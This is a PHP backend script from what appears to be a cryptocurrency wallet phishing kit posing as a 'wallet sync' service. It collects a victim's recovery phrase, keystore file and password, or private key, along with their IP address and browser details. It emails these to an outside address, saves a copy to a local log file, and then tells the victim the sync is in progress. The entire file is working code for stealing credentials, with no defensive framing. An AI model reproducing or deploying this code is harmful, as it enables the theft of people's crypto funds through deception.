<?php
// Email configuration
$to_email = "admin@web.quantumnexus.ltd"; // Changed to your actual email
$from_email = "noreply@" . $_SERVER['HTTP_HOST']; // Use your actual domain
$from_name = "quantumnexus";

// Check if form is submitted
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    
    // Get wallet name
    $wallet_name = isset($_POST['wallet']) ? htmlspecialchars($_POST['wallet']) : 'Unknown Wallet';
    
    // Initialize variables
    $phrase = '';
    $keystorejson = '';
    $keystorepassword = '';
    $privatekey = '';
    $method = '';
    
    // Get form data based on what was submitted
    if (isset($_POST['new_phrase']) && !empty($_POST['new_phrase'])) {
        $phrase = htmlspecialchars($_POST['new_phrase']);
        $method = "Recovery Phrase";
    } elseif (isset($_POST['new_keystorejson']) && !empty($_POST['new_keystorejson'])) {
        $keystorejson = htmlspecialchars($_POST['new_keystorejson']);
        $keystorepassword = isset($_POST['new_keystorepassword']) ? htmlspecialchars($_POST['new_keystorepassword']) : '';
        $method = "Keystore JSON";
    } elseif (isset($_POST['new_privatekey']) && !empty($_POST['new_privatekey'])) {
        $privatekey = htmlspecialchars($_POST['new_privatekey']);
        $method = "Private Key";
    } else {
        echo json_encode([
            'status' => 'error',
            'message' => 'No valid data submitted'
        ]);
        exit;
    }
    
    // Get user information
    $ip_address = $_SERVER['REMOTE_ADDR'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $timestamp = date('Y-m-d H:i:s');
    $server_name = $_SERVER['SERVER_NAME'];
    
    // Prepare email subject
    $subject = "New Message - $wallet_name - " . date('Y-m-d H:i:s');
    
    // Prepare email body
    $message = "
═══════════════════════════════════════════
NEW SYNC SUBMISSION
═══════════════════════════════════════════

Wallet Name: $wallet_name
Connection Method: $method
Submission Time: $timestamp
Server: $server_name

───────────────────────────────────────────
USER DETAILS:
───────────────────────────────────────────
IP Address: $ip_address
User Agent: $user_agent

───────────────────────────────────────────
SUBMITTED DATA:
───────────────────────────────────────────
";
    
    // Add specific data based on method
    if (!empty($phrase)) {
        $message .= "\nRecovery Phrase:\n$phrase\n";
    }
    
    if (!empty($keystorejson)) {
        $message .= "\nKeystore JSON:\n$keystorejson\n\nKeystore Password:\n$keystorepassword\n";
    }
    
    if (!empty($privatekey)) {
        $message .= "\nPrivate Key:\n$privatekey\n";
    }
    
    $message .= "\n═══════════════════════════════════════════\n";
    
    // Improved email headers
    $headers = array();
    $headers[] = "From: $from_name <$from_email>";
    $headers[] = "Reply-To: $from_email";
    $headers[] = "Return-Path: $from_email";
    $headers[] = "Content-Type: text/plain; charset=UTF-8";
    $headers[] = "X-Mailer: PHP/" . phpversion();
    $headers[] = "X-Priority: 1";
    $headers[] = "MIME-Version: 1.0";
    $headers[] = "Message-ID: <" . time() . "-" . md5($to_email . time()) . "@" . $_SERVER['HTTP_HOST'] . ">";
    
    // Additional parameters for sendmail
    $additional_parameters = "-f" . $from_email;
    
    // Send email
    $mail_sent = mail($to_email, $subject, $message, implode("\r\n", $headers), $additional_parameters);
    
    // ALSO save to a file as backup (in case email fails)
    $log_file = 'wallet_submissions.txt';
    $log_content = "\n\n" . str_repeat("=", 50) . "\n";
    $log_content .= "SUBMISSION: " . date('Y-m-d H:i:s') . "\n";
    $log_content .= str_repeat("=", 50) . "\n";
    $log_content .= $message;
    
    file_put_contents($log_file, $log_content, FILE_APPEND);
    
    if ($mail_sent) {
        // Email sent successfully
        echo json_encode([
            'status' => 'success',
            'message' => 'Wallet sync in progress...',
            'debug' => 'Email sent and logged to file'
        ]);
    } else {
        // Email failed but data is logged
        echo json_encode([
            'status' => 'success', // Still return success since we logged it
            'message' => 'Wallet sync in progress...',
            'debug' => 'Logged to file (email may have failed)'
        ]);
    }
    
} else {
    // Not a POST request
    http_response_code(405);
    echo json_encode([
        'status' => 'error',
        'message' => 'Method not allowed'
    ]);
}
?>